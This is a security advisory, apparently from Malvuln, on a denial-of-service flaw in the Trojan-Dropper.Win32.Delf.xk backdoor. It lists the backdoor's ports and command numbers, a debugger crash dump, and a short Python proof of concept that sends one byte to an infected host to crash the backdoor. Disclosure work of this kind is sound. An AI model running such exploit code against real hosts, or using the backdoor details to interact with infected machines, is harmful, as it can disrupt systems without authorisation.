Share
## https://sploitus.com/exploit?id=PACKETSTORM:161782
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/869c813722be90cf1b3708051103ce14.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.Delf.xk  
Vulnerability: Remote Invalid Pointer Write DOS  
Description: Win32.Delf.xk drops server.exe in AppData\Local\Temp dir and listens on TCP ports 30005,30006 and 30007. Netcat to port 30005 and input the number 9 it trys to create a file, number 2 for read file and 3 for opening a file but errors out.  
  
9 create file  
2 read file  
3 open file   
  
Interestingly, sending a packet with a single character the number "4" to TCP port 30005 will trigger invalid pointer write and subsequent crash of the backdoor.  
  
Type: PE32  
MD5: 869c813722be90cf1b3708051103ce14  
Vuln ID: MVID-2021-0130  
Dropped files: server.exe  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 03/14/2021  
  
Memory Dump:  
(418.1320): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000  
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
*** WARNING: Unable to verify checksum for server.exe  
*** ERROR: Module load completed but symbols could not be loaded for server.exe  
server+0x577ab:  
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??  
  
0:000> .ecxr  
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000  
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
server+0x577ab:  
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
server+577ab  
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 004577ab (server+0x000577ab)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 410cb402  
Attempt to write to address 410cb402  
  
PROCESS_NAME: server.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 410cb402  
  
WRITE_ADDRESS: 410cb402   
  
FOLLOWUP_IP:   
server+577ab  
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00001320  
  
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE  
  
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE  
  
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE  
  
IP_ON_HEAP: 3077129d  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 3077129d  
  
FRAME_ONE_INVALID: 1  
  
LAST_CONTROL_TRANSFER: from 3077129d to 004577ab  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
000a1451 3077129d 34000a15 800019fd bc000a15 server+0x577ab  
000a1455 34000a15 800019fd bc000a15 aa000a14 0x3077129d  
000a1459 800019fd bc000a15 aa000a14 34004577 0x34000a15  
000a145d bc000a15 aa000a14 34004577 300019fd 0x800019fd  
000a1461 aa000a14 34004577 300019fd 00000a15 0xbc000a15  
000a1465 34004577 300019fd 00000a15 53000000 0xaa000a14  
000a1469 300019fd 00000a15 53000000 30771012 0x34004577  
000a146d 00000000 53000000 30771012 34000a15 0x300019fd  
  
  
STACK_COMMAND: ~0s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: server+577ab  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: server  
  
IMAGE_NAME: server.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19  
  
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_server.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_server+577ab  
  
  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=30005  
PAYLOAD ="4"   
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
s.send(PAYLOAD)  
  
print("Trojan-Dropper.Win32.Delf.xk / Invalid Pointer Write DOS")  
print("MD5: 869c813722be90cf1b3708051103ce14")  
print("By Malvuln")  
  
s.close()  
  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).